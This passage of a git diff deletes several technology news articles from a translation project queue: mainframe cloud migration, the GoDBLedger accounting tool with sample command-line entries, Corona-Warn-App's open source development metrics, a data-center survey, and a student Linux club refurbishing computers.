legacy applications, particularly those without typically available source code, such as COBOL, run in the cloud without recompilation. - -The company says it works closely with cloud providers such as Amazon Web Services, and its service can be implemented on [Microsoft Azure][3]. It also works with other technology partners such as Red Hat and Accenture. - -Legacy applications have become locked into mainframe infrastructures, and the lack of available skilled personnel who understand the platform and its development process has revealed the urgent need to move these critical applications to open platforms and the cloud, according to Mark Cresswell, CEO of LzLabs. - -"With SDM, customers can run mainframe workloads on x86 or the cloud without recompilation or data reformatting. This approach significantly reduces the risks associated with mainframe migration, enables incremental modernization and integrates applications with DevOps, open-source and the cloud," the company [stated][4]. - -Cresswell pointed to the news stories around the COVID-19 pandemic that found many mainframe and COBOL-based state government systems were having trouble keeping up with the huge volume of unemployment claims hitting those systems. - -For example, [CNN in April reported][5] that in New Jersey, Gov. Phil Murphy put out a call for volunteers who know how to code COBOL because many of the state's systems still run on older mainframes. Connecticut is also reportedly struggling to process the large volume of unemployment claims with its decades-old mainframe; it's working to develop a new benefits system with Maine, Rhode Island, Mississippi and Oklahoma, but the system won't be finished before next year, according to the CNN story. - -"An estimated 70% of the world's commercial transactions are processed by a mainframe application at some point in their cycle, which means U.S. state governments are merely the canaries in the coal mine. Banks, insurance, telecom and manufacturing companies (to mention a few) should be planning their exit," Cresswell wrote in a [blog][6]. - -LzLabs is part of an ecosystem of mainframe modernization service providers that includes [Astadia][7], [Asysco][8], [GTSoftware][9], [Micro Focus][10] and others. - -Large cloud players are also involved in modernizing mainframe applications. For example, Google Cloud in February [bought mainframe cloud-migration service firm Cornerstone Technology][11] with an eye toward helping Big Iron customers move workloads to the private and public cloud. Google said the Cornerstone technology – found in its [G4 platform][12] – will shape the foundation of its future mainframe-to-Google Cloud offerings and help mainframe customers modernize applications and infrastructure. - -"Through the use of automated processes, Cornerstone's tools can break down your Cobol, PL/1, or Assembler programs into services and then make them cloud native, such as within a managed, containerized environment," wrote Howard Weale, Google's director, transformation practice, in a [blog][13] about the acquisition. - -"As the industry increasingly builds applications as a set of services, many customers want to break their mainframe monolith programs into either Java monoliths or Java microservices," Weale stated.  - -The Cornerstone move is also part of Google's effort stay competitive in the face of mainframe-migration offerings from [Amazon Web Services][14], [IBM/RedHat][15] and [Microsoft][16]. - -While the number of services looking to aid in mainframe modernization might be increasing, the actual migration to those services should be well planned, experts say. - -A _Network World_ article on [mainframe migration options][17] from 2017 still holds true today: "The problem facing enterprises wishing to move away from mainframes has always been the 'all-or-nothing' challenge posed by their own workloads. These workloads are so interdependent and complex that everything has to be moved at once or the enterprise suffers. The suffering typically centers on underperformance, increased complexity caused by bringing functions over piecemeal, or having to add new development or operational staff to support the target environment. In the end, the savings on hardware or software turns out to be less than the increased costs required of a hybrid computing solution." - -Gartner last year also warned that migrating legacy applications should be undertaken very deliberately. - -"The value gained by moving applications from the traditional enterprise platform onto the next 'bright, shiny thing' rarely provides an improvement in the business process or the company's bottom line. A great deal of analysis must be performed and each cost accounted for," Gartner stated in a 2019 report, [Considering Leaving Legacy IBM Platforms? Beware, as Cost Savings May Disappoint, While Risking Quality][18]*. "*Legacy platforms may seem old, outdated and due for replacement. Yet IBM and other vendors are continually integrating open-source tools to appeal to more developers while updating the hardware. Application leaders should reassess the capabilities and quality of these platforms before leaving them." - -Join the Network World communities on [Facebook][19] and [LinkedIn][20] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3567058/options-grow-for-migrating-mainframe-apps-to-the-cloud.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://twitter.com/LzLabsGmbH -[2]: https://www.networkworld.com/article/3284352/data-center/how-to-plan-a-software-defined-data-center-network.html -[3]: https://www.astadia.com/video/mainframe-transformation-azure-is-the-new-mainframe -[4]: https://appsource.microsoft.com/en-us/product/web-apps/lzlabsgmbh-5083555.lzlabs-softwaredefinedmainframe?src=office&tab=Overview -[5]: https://www.cnn.com/2020/04/08/business/coronavirus-cobol-programmers-new-jersey-trnd/index.html -[6]: https://blog.lzlabs.com/cobol-crisis-for-us-state-government-departments-is-the-canary-in-the-coal-mine -[7]: https://www.astadia.com/blog/mainframe-migration-to-azure-in-5-steps -[8]: https://www.asysco.com/code-transformation/ -[9]: https://www.gtsoftware.com/services/migration-services/ -[10]: https://www.microfocus.com/en-us/home -[11]: https://www.networkworld.com/article/3528451/google-cloud-moves-to-aid-mainframe-migration.html -[12]: https://www.cornerstone.nl/solutions/modernization -[13]: https://cloud.google.com/blog/topics/inside-google-cloud/helping-customers-migrate-their-mainframe-workloads-to-google-cloud -[14]: https://aws.amazon.com/blogs/enterprise-strategy/yes-you-should-modernize-your-mainframe-with-the-cloud/ -[15]: https://www.networkworld.com/article/3438542/ibm-z15-mainframe-amps-up-cloud-security-features.html -[16]: https://azure.microsoft.com/en-us/migration/mainframe/ -[17]: https://www.networkworld.com/article/3192652/why-are-mainframes-still-in-the-enterprise-data-center.html -[18]: https://www.gartner.com/doc/3905276 -[19]: https://www.facebook.com/NetworkWorld/ -[20]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200717 Open source accounting software developed by accountants.md b/sources/talk/20200717 Open source accounting software developed by accountants.md deleted file mode 100644 index 22ae8e1689..0000000000 --- a/sources/talk/20200717 Open source accounting software developed by accountants.md +++ /dev/null @@ -1,151 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source accounting software developed by accountants) -[#]: via: (https://opensource.com/article/20/7/godbledger) -[#]: author: (Sean Darcy https://opensource.com/users/sean-darcy) - -Open source accounting software developed by accountants -====== -GoDBledger is open source accounting software that is both intuitive and -productive. -![Person using a laptop][1] - -Over the last six months, I have been working on [GoDBLedger][2], an open source accounting system that I feel addresses some of the issues that plague current accounting software solutions. Even in my first year as a graduate accountant, the software frustrated me because I have seen what good software can be like and how much it can improve your productivity. - -A great example of "good software" is a software developer's [Editor/IDE][3]. Developers love their editors, and there is a huge range that is highly customizable and allows for seamless coding experience. One of the major influencing factors for the existence of great software in this area is because developers are themselves the end users—they scratch their own itches and have immediate feedback on their designs. - -The relationship between developers and their editor is fascinating because the editor's job is to facilitate the efficient transfer of the developer's ideas into the codebase. - -As an accountant who loves programming in my spare time, I can see parallels between the accounting industry and software development. You can imagine the general ledger (a giant list of financial transactions) as a "codebase" that accountants work with, and it is the accountant's job to navigate and edit the general ledger before compiling it into various reports that an end user consumes—financial statements and tax returns, for example. This is similar to, for instance, the way the Red Hat Enterprise Linux codebase is maintained by developers, and then released officially as RHEL and CentOS to the world. - -Unfortunately, when comparing the software between the two industries, I have found that navigating and editing the general ledger is not seamless, at least not when compared to my experiences when programming. Additionally, the compilation is slow and involves a lot of human labor to achieve; it can ultimately be as difficult as editing the general ledger itself. - -So, given the parallels between accountants' and programmers' processes, why hasn't the accounting industry developed software to make editing the general ledger as efficient as an IDE editing a codebase? And why is compiling a set of financial statements from the general ledger not automated as is pushing code to production? - -There are two influencing factors that I have noticed. - -The first is the profit motive that drives both accountants and accounting software developers. Monetization can lead to inefficiencies in software because the most efficient end user is not always the most profitable. A profit-maximizing entity can extract more value from their users by taking actions to get control of the user's data, create walled gardens, and make it difficult for the user to change their software. - -Accounting software has always existed in the realm of paid software. Because it plays such an important role in a business, it has always been easy to monetize. This is great for software developers who wish to make a profit, but unfortunately, it means that open source principles have had minimal influence on the shape and design of the software. - -The second influencing factor is a lack of understanding of the general ledger as a data structure. The general ledger, in simple terms, is just a way to format a database of financial transactions. This data structure was designed in the 1600s, and it worked quite well within a physical book. At that point in time, working with the general ledger meant changing written text in the book as necessary, and accountants were professionals at maintaining this database. However, when relational databases were created, the structure never really got standardized and digitalized. Software packages implemented the general ledger within their own proprietary database structures, and accountants lost their ability to directly edit the database. Instead of managing the general ledger directly, the software only allowed for accountants to have restricted access. - -### The result - -Before TCP/IP got standardized, companies like AOL were creating their own proprietary environments and locking users into their walled gardens. Fortunately for the internet, they fell away to a free standard communication protocol. Unfortunately, the accounting industry did not do this, and we got stuck with "America Online." - -Imagine that the software industry was ruled by a few big IDE software conglomerates which have decided to maximize their profits rather than maximizing developer efficiency. Your editor no longer saves code as text; instead, it is saved as a proprietary data format. You can not copy a codebase easily into another IDE, and if you do change editors, it's probably safe to assume that the codebase saved in the previous system is lost. - -This is the state of the accounting software available today. - -So what can accounting software developers learn from the open source community? - -Open source means you can stand on the shoulders of giants and use codebases of other projects to influence and directly assist in the growth of your own project. If you are focusing on accountants' efficiency to edit the general ledger, you can review other software and copy the parts that work and ignore the parts that don't. In my case, I have been fortunate to leverage the great codebases of other accounting software such as [GNU Cash][4] and [Ledger-CLI][5], but there is another interesting area that has a lot to contribute—the open source servers that manage cryptocurrency nodes. - -Accounting has struggled with the transition from physical ledgers to computers, but thankfully the cryptocurrency community has already developed a lot of open source software for maintaining a database of transactions. - -The general ledger is a data structure to record financial transactions—just like a blockchain. - -### What this means - -My accounting system has been heavily influenced by [Geth (Go Ethereum)][6] and [Prysmatic Labs][7]—[Prysm][7], as there are a lot of talented developers working on these projects. They have provided the base for a server that manages financial transactions. Combining this with a database schema that was heavily influenced by GNU Cash means the heavy work behind designing an accounting system has already been done. - -The result is [GoDBLedger][2], with source code available on [github.com/darcys22/godbledger][8]. - -It is also written in Golang to leverage the already good code that exists in this area, and because Golang tends to be good for servers of this nature. - -I've talked a lot about how accountants should be able to work with the general ledger as seamlessly as a programmer can work on their codebase. I truly look forward to the day when I can create and edit journal entries with the same efficiency that I navigate and edit code using my text editor of choice. GoDBLedger is my first step toward achieving this. The next steps will be toward developing this "IDE" that communicates with GoDBLedger and its underlying database. Fortunately for me, there are already a lot of good open source database projects that I'll be able to leverage for this. - -### How to use GoDBLedger - -GoDBLedger is usable today! You can fire up a server that maintains a database for your financial transactions, and it will look and feel familiar to anyone who has run a cryptocurrency node before. - -The end goal is for it to act as the central server for receiving financial transactions and storing them in the database. It lives in the background, always running so that other systems can communicate financial data to it as needed. - -![GoDBledger operational flow chart][9] - -Right now, if you are comfortable with a command line and scripts that communicate to systems using RPC, then you can play with GoDBLedger and experience double-entry bookkeeping on a level lower than all other software (and only slightly above directly manipulating the SQL database). - -For instance, with GoDBLedger running, you can add entries in the interactive mode of ledger-cli: - - -``` -$ ~/godbledger/ledger_cli journal -Journal Entry Wizard -\-------------------- -Enter the date (yyyy-mm-dd): 2019-06-30 -Enter the Journal Descripion: Get Money Get Paid! - -Line item #1 -Enter the line Descripion: Income is good yo -Enter the Account: Revenue:Sales -Enter the Amount: -1000 -Would you like to enter more line items? (n to stop): - -Line item #2 -Enter the line Descripion: Cash is better -Enter the Account: Asset:Cash -Enter the Amount: 1000 -Would you like to enter more line items? (n to stop): n - -&{Get Money Get Paid! - 2019-06-30 00:00:00 +0000 UTC [{Revenue:Sales - Income is good yo - -1000/1} {Asset:Cash - Cash is better - 1000/1}] stuff} -``` - -However, the same entry can be made using JSON: - - -``` -`$ ~/godbledger/ledger_cli jsonjournal '{"Payee":"Darcy Financial","Date":"2019-06-30T00:00:00Z","AccountChanges":[{"Name":"Asset:Cash","Description":"Cash is better","Currency":"USD","Balance":"100"},{"Name":"Revenue:Sales","Description":"Income is good yo","Currency":"USD","Balance":"-100"}],"Signature":"anythingHereCurrently"}'` -``` - -You can view a report with the `reporter` command: - - -``` -$ ~/godbledger/reporter trialbalance - -   ACCOUNT    | BALANCE AT 20 FEBRUARY 2020 -\--------------+---------------------------- -Asset:Cash    |                        1000 -              | -Revenue:Sales |                       -1000 -              | -``` - -Read the [quickstart on the Github Wiki][10] for more information. I've also developed a few [example scripts using Python][11] to show how you can send transactions from your own software. Additionally, I have made an [example "trading bot"][12] that saves every trade it does to GoDBLedger. - -if you're interested in a procedural system to keep tracking of your accounts, try GoDBLedger. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/godbledger - -作者:[Sean Darcy][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sean-darcy -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://godbledger.com/ -[3]: https://www.redhat.com/en/topics/middleware/what-is-ide -[4]: https://www.gnucash.org/ -[5]: https://www.ledger-cli.org/ -[6]: https://github.com/ethereum/go-ethereum -[7]: https://github.com/prysmaticlabs/prysm -[8]: https://github.com/darcys22/godbledger -[9]: https://opensource.com/sites/default/files/uploads/godbledger_flow.png (GoDBledger operational flow chart) -[10]: https://github.com/darcys22/godbledger/wiki/Quickstart -[11]: https://github.com/darcys22/godbledger-pythonclient -[12]: https://github.com/darcys22/Trading-Simulator diff --git a/sources/talk/20200719 Open source development works to improve contact tracing in Europe.md b/sources/talk/20200719 Open source development works to improve contact tracing in Europe.md deleted file mode 100644 index be101bc70f..0000000000 --- a/sources/talk/20200719 Open source development works to improve contact tracing in Europe.md +++ /dev/null @@ -1,201 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source development works to improve contact tracing in Europe) -[#]: via: (https://opensource.com/article/20/7/open-source-contact-tracing) -[#]: author: (J. Manrique Lopez de la Fuente https://opensource.com/users/jsmanrique) - -Open source development works to improve contact tracing in Europe -====== -Analyzing data on Corona-Warn-App's development shows how quickly open -source can scale up to help stop disease outbreaks. -![Hands holding a mobile phone with open on the screen][1] - -The [Corona-Warn-App][2] is an awesome example of how governments and public administrations can use open source software development to help citizens while simultaneously advancing the technology ecosystem. The app helps trace infection chains of [SARS-CoV-2][3] (the virus that causes [COVID-19][4]) in Germany. The app uses [a decentralized approach][5] to notify users if they have been exposed to SARS-CoV-2. - -![Corona-Warn-App branding][6] - -(Manrique Lopez, [CC BY-SA 4.0][7]) - -Transparency is essential to protecting the app's end users and encouraging its adoption, and [open source][8] is a key element of achieving transparency. Open source allows anyone to use, study, share, and [improve][9] Covid-Warn-App. This is similar to the tracing apps developed by Italy ([Immuni][10]), Switzerland ([SwissCovid][11]), and partially by France ([StopCovid][12]). In contrast, [Radar Covid][13] is a new non-open source COVID-tracking app being piloted in Spain's Canary Islands; between the non-open nature of the app and the fact that the [website][14] still fails to load in mid-July 2020, it's debatable whether citizens will trust it. - -![radarcovid.covid19.gob.es offline on July, 8th, 2020][15] - -Radar Covid [site][14] offilne on July 8, 2020. (Manrique Lopez, [CC BY-SA 4.0][7]) - -### Why open source transparency matters - -Transparency benefits software development projects in two ways: - - * Internally in the project's community, there's a sense of fair play among all the contributors because everything is in public, so everyone is accountable. - * Externally among third parties, there's a sense of trust in the project because it can be analyzed from multiple perspectives (e.g., legal, technical, project activity, development processes, etc.). - - - -Transparency should be an essential requirement in software developed by governments. Initiatives like [Public Money, Public Code][16] and the [Foundation for Public Code][17] are doing an amazing job of helping public administrators understand why their code (_our_ code as taxpayers) should be open source. - -![Corona-Warn-App's open source approach][18] - -(Manrique Lopez, [CC BY-SA 4.0][7]) - -### About Corona-Warn-App - -In early May 2020, the German government asked software developer SAP and Deutsche Telekom subsidiary T-Systems to deliver the Corona-Warn-App based on open source and decentralized technology. Many other German companies and research centers are supporting the app's development. - -![Corona-Warn-App development partners][19] - -(Manrique Lopez, [CC BY-SA 4.0][7]) - -In addition, the global open source community has been remarkable in helping to build the app, which has already been [downloaded by more than 15 million users][20]. - -### Corona-Warn-App's development - -Inspired by [Andreas Schreiber's][21] tweet, [Jesus M. Gonzalez-Barahona][22] did an [analysis][23] of Corona-Warn-App's development using [Cauldron.io][24], an open source software-as-a-service application built on top of [GrimoireLab][25], and [summarized his findings][26] on Twitter. - -Corona-Warn-App saw robust [software development activity][23] through mid-June: - - * More than 100 people contributed. - * More than 5,300 commits were made, with 1,600+ pull requests and 600+ issues. - - - -![Corona-Warn-App development data][27] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -#### Quick code reviews - -Code review for pull requests is quick, usually within one day (mean: 0.36 days). - -![Corona-Warn-App pull requests][28] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -Time to close issues is also quick at about two days. - -![Corona-Warn-App issues][29] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -This means that most pull requests are already closed, and the gap between open and closed issues is not very large. - -#### Commitment to fighting coronavirus spread - -Contributions are coming from both corporate email accounts and private addresses (such as gmail.com, gmx.de, icloud.com, and outlook.de). - -![Corona-Warn-App contributors' email domains][30] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -Also, there is no noticeable decline in commits over the weekend, which is unusual for software produced by employees on paid time. - -![Corona-Warn-App commits by date][31] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -These facts may be signs of contributors' sense of urgency or commitment to fighting the spread of COVID-19, even on their own time. - -There is, however, a different pattern in issue and pull request submissions: they are more common during the week than on weekends, even though commits happen regularly over the week. One possible explanation for this is that developers work uniformly throughout the week but upload and interact with issues mostly during workdays. - -![Corona-Warn-App patches by day][32] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -![Corona-Warn-App issues by day][33] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -#### Outstanding developer engagement - -Onboarding of developers has been really quick—currently about 50 people by daily contributions and more than 100 people by weekly contributions. - -These numbers are common for corporate projects, but Corona-Warn-App has assembled a team of more than 100 developers from at least six companies in just 45 days. Is this another lesson corporate software development can learn and apply from open source development? - -![Corona-Warn-App engagement][34] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -![Corona-Warn-App engagement][35] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -Engagement differs in different repositories; for example, the iOS app had about eight times the commits as the Android app. Lines per commit and files per commit suggest that this is likely real development, not snapshots masquerading as development. - -![Corona-Warn-App repos][36] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -#### Time efficiency - -One worrisome piece of data is in the time to close pull requests. The mean is short, but the median is too short. That could either mean a very well-streamlined code review in a tightly coupled team or very little code review. - -![Corona-Warn-App time to merge][37] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -![Corona-Warn-App open PR time][38] - -Data source: [Corona-Warn-App dashboard][23] (Manrique Lopez, [CC BY-SA 4.0][7]) - -### Closing thoughts - -Corona-Warn-App is a successful example of how governments and public administrations can use open collaboration to scale up to fight a global crisis. Data saves lives, and now more than ever, we need to break silos, be transparent, and work towards a common goal. - -Transparency is not only about making code publicly available. Transparency is about fairness and trust, and software development analysis is a good example of how to take advantage of transparency to better understand the software that matters to you. - -If you liked this analysis, note that you can do your own with Cauldron.io, as it's [free, open source software][39]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/open-source-contact-tracing - -作者:[J. Manrique Lopez de la Fuente][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jsmanrique -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003588_01_rd3os.combacktoschoolserieshe_rh_041x_0.png?itok=tfg6_I78 (Hands holding a mobile phone with open on the screen) -[2]: https://www.coronawarn.app -[3]: https://en.wikipedia.org/wiki/Severe_acute_respiratory_syndrome_coronavirus_2 -[4]: https://en.wikipedia.org/wiki/Coronavirus_disease_2019 -[5]: https://en.wikipedia.org/wiki/Exposure_Notification -[6]: https://opensource.com/sites/default/files/uploads/corona-warn.png (Corona-Warn-App branding) -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://opensource.org/osd -[9]: https://github.com/corona-warn-app/cwa-documentation/blob/master/CONTRIBUTING.md -[10]: https://it.wikipedia.org/wiki/Immuni -[11]: https://fr.wikipedia.org/wiki/SwissCovid -[12]: https://fr.wikipedia.org/wiki/StopCovid -[13]: https://english.elpais.com/society/2020-06-29/spain-launches-first-phase-of-coronavirus-tracking-app.html -[14]: https://radarcovid.covid19.gob.es/ -[15]: https://opensource.com/sites/default/files/uploads/radarcovid.jpg (radarcovid.covid19.gob.es offline on July, 8th, 2020) -[16]: https://publiccode.eu/ -[17]: https://publiccode.net/ -[18]: https://opensource.com/sites/default/files/uploads/corona-warn-open-source.jpg (Corona-Warn-App's open source approach) -[19]: https://opensource.com/sites/default/files/uploads/corona-warn-partner.jpg (Corona-Warn-App development partners) -[20]: https://de.statista.com/statistik/daten/studie/1125951/umfrage/downloads-der-corona-warn-app/ -[21]: https://twitter.com/onyame/status/1272505372360785920 -[22]: https://opensource.com/users/jgbarah -[23]: https://cauldron.io/dashboard/1545 -[24]: https://cauldron.io/ -[25]: https://chaoss.github.io/grimoirelab/ -[26]: https://twitter.com/jgbarah/status/1272777800102141957 -[27]: https://opensource.com/sites/default/files/uploads/corona-warn_development.png (Corona-Warn-App development data) -[28]: https://opensource.com/sites/default/files/uploads/corona-warn_prs.png (Corona-Warn-App pull requests) -[29]: https://opensource.com/sites/default/files/uploads/corona-warn_issues.png (Corona-Warn-App issues) -[30]: https://opensource.com/sites/default/files/uploads/corona-warn_users.png (Corona-Warn-App contributors' email domains) -[31]: https://opensource.com/sites/default/files/uploads/corona-warn_commits.png (Corona-Warn-App commits by date) -[32]: https://opensource.com/sites/default/files/uploads/corona-warn_submission1.png (Corona-Warn-App patches by day) -[33]: https://opensource.com/sites/default/files/uploads/corona-warn_submission2.png (Corona-Warn-App issues by day) -[34]: https://opensource.com/sites/default/files/uploads/corona-warn_engagement1.png (Corona-Warn-App engagement) -[35]: https://opensource.com/sites/default/files/uploads/corona-warn_engagement2.png (Corona-Warn-App engagement) -[36]: https://opensource.com/sites/default/files/uploads/corona-warn_repo.png (Corona-Warn-App repos) -[37]: https://opensource.com/sites/default/files/uploads/corona-warn_timetomerge.png (Corona-Warn-App time to merge) -[38]: https://opensource.com/sites/default/files/uploads/corona-warn_opentime.png (Corona-Warn-App open PR time) -[39]: https://gitlab.com/cauldronio/cauldron diff --git a/sources/talk/20200721 Data-center survey- IT seeks faster switches, intelligent computing.md b/sources/talk/20200721 Data-center survey- IT seeks faster switches, intelligent computing.md deleted file mode 100644 index fe915f2a5a..0000000000 --- a/sources/talk/20200721 Data-center survey- IT seeks faster switches, intelligent computing.md +++ /dev/null @@ -1,58 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Data-center survey: IT seeks faster switches, intelligent computing) -[#]: via: (https://www.networkworld.com/article/3566925/data-center-survey-it-seeks-faster-switches-intelligent-computing.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Data-center survey: IT seeks faster switches, intelligent computing -====== -As data use changes, so do technical needs of the data center operators, who want speed and intelligence. -monsitj / Getty Images - -The growth in data use and consumption means the needs of IT managers are changing, and a survey from Omdia (formerly IHS Markit) found [data-center][1] operators are looking for intelligence of all sorts, not just the artificial kind. - -Omdia analysts recently surveyed IT leaders from 140 North American enterprises with at least 101 employees working in North American offices and data centers and asked them what features they wanted the most in their networking technology. - -The results say respondents expect to more than double their average number of data-center sites between 2019 and 2021, and the average number of servers deployed in data centers is expected to double over the same timeline. - -“The on-premises enterprise data center continues to flourish,” the authors wrote in the report. “We are seeing a continuation of the enterprise DC growth phase signaled by the 2018 respondents and confirmed by the respondents of this study. The transformation of the on-premises DC to a cloud architecture continues, and the enterprise DC will be considered a first-class citizen as enterprises build their multi-clouds and shift compute to the edge.” - -But the emphasis appears to be on networking and not necessarily server gear. From 2019 to 2021, more than 60% of respondents expect to increase their investments in Ethernet switches, Fibre Channel switches, network analytics, and network automation. The installed base of data-center Ethernet-switch ports will grow 27% between 2019 and 2021 with higher speeds (100/200/400GE) making up a larger portion of the deployed base. - -High speeds (65% of respondents), openness and interoperability (65%), and application-awareness (65%) are the top features respondents seek when making data-center Ethernet-switching purchases. Increased port speeds are an obvious upgrade decision, and it remains top-of-mind for enterprises. - -And not just any switches will do. The number of respondents using Open Compute Project (OCP)-certified switches has risen significantly since 2019: 76% of respondents adopted OCP switches in 2019 per the 2019 survey versus 60% of respondents in 2018. Bare-metal switches, like those offered by vendors of OCP-certified equipment, are available from several hardware vendors such as Edgecore, Delta Networks and Mellanox/Nvidia. - -### Smarter software** - -** - -Application awareness and automated virtual machine (VM) movement are becoming more important as more data center traffic gets routed from central data centers to edge locations globally. Omdia says the results show that data-center networks can no longer operate in siloes, and respondents want solutions that are easy to integrate, allowing them to monitor their data across compute and storage, independent of physical data-center location. - -And with all that data and virtual machines to move around, respondents seem to be keen on the benefits that AI promises to bring. Many vendors claim their high-throughput (100G-plus Ethernet) DC switches are designed for use in environments required to handle resource-intense applications like AI and ML. But Omdia says it remains to be seen how AI features will impact the DC networking market and what qualitative and quantitative outcomes will result. - -Omdia also says data-center orchestration software will provide automated coordination and management of resource pools including network equipment, servers, and storage. “Enterprise IT teams are selecting orchestration software, and the choice for physical and virtual switching in the DC will depend on the orchestration software selected,” the report said. - -It flags Red Hat Enterprise OpenStack Platform (celebrating its tenth anniversary this month), VMware vCloud, Cisco Intelligent Automation for Cloud [IAC], and Microsoft System Centerj among the leaders of data center orchestration. - -Join the Network World communities on [Facebook][2] and [LinkedIn][3] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3566925/data-center-survey-it-seeks-faster-switches-intelligent-computing.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3223692/what-is-a-data-centerhow-its-changed-and-what-you-need-to-know.html -[2]: https://www.facebook.com/NetworkWorld/ -[3]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200722 Student Linux club refurbishes computers to support distance learning.md b/sources/talk/20200722 Student Linux club refurbishes computers to support distance learning.md deleted file mode 100644 index 18f40c2026..0000000000 --- a/sources/talk/20200722 Student Linux club refurbishes computers to support distance learning.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Student Linux club refurbishes computers to support distance learning) -[#]: via: (https://opensource.com/article/20/7/donate-linux) -[#]: author: (Cam Citrowske https://opensource.com/users/camcitrowske) - -Student Linux club refurbishes computers to support distance learning -====== -Open source helps bridge the digital divide for families in need of -computers for distance learning during the pandemic. -![][1] - -_This article is co-written by Cam Citrowske, a member of the Penguin Corps._ - -It was March 17, 2020, and I was in my classroom at Aspen Academy. The clock was ticking. This was to be the last day of school before we, along with every other public school in Minnesota, would close due to the outbreak of the new coronavirus. I had students in my room during lunch, advisory periods, and my elective classes all doing the same thing—installing Linux onto old computers so we could give them to students who would use them for school at home during the shelter in place order. I was only going to have the kids' help until dismissal time, but in the end, we had 17 computers ready to go. It was a start. - -Hi, I'm Stu Keroff. I'm a social studies and technology teacher at Aspen Academy in Savage, MN. I am also the director of the Penguin Corps, our school's Linux club. When we started the club back in September of 2019, I wanted the kids at my new school to take on the same type of mission that the kids at my last school had: using Linux to close the "digital divide" (see this [article][2] about the Community School of Excellence Asian Penguins for more information). The Penguin Corps gave away a few computers during the year, but nothing had prepared us for what was coming. - -It was in January that I first heard about COVID-19. At the time, it was making people sick in other countries, and while it was a topic of discussion in my social studies classes, I wasn't concerned because it wasn't in Minnesota. - -![Linux club donating computers][3] - -(Stu Keroff, [CC BY-SA 4.0][4]) - -By March, that had changed. Businesses were talking about how they would respond to the pandemic, and it raised the conversation about how it would affect schools. Fast forward to March 18, when all the schools in Minnesota were closed and converted to distance learning—teachers provide lessons online, and kids attend school in their homes over the internet. It was a huge change for all of us! - -While it was tough for many of my students to go to school from their bedrooms or dining rooms, at least most of them had computers to use. But what about the kids at school who didn't have computers? Or the families who didn't have enough computers for all of the kids in the house? What were they supposed to do? - -Our school's administrators reached out to me and the Penguin Corps to create a solution. We surveyed parents to find out how many families needed a computer and then got to work. We started by putting Linux on computers the school was no longer using, and then we gave those away. More responses started to pour in. We realized that the supply we had would not even be close to enough. This became a serious problem that was in need of a bigger solution. - -Once we realized that, we started to ask for more. With help from the school, we reached out over social media and in the local newspaper, asking people to donate their old computers to us. A number of people and even some businesses like Caribou Coffee and St. Vincent de Paul of the Twin Cities responded. Laptops started to pour in. Most of them worked, but some needed minor repairs, such as new batteries, a charger, or a hard drive. All of the computers needed new software. Linux and open source apps were the solution. We got the computers up and running, tested them, and left them with the school to 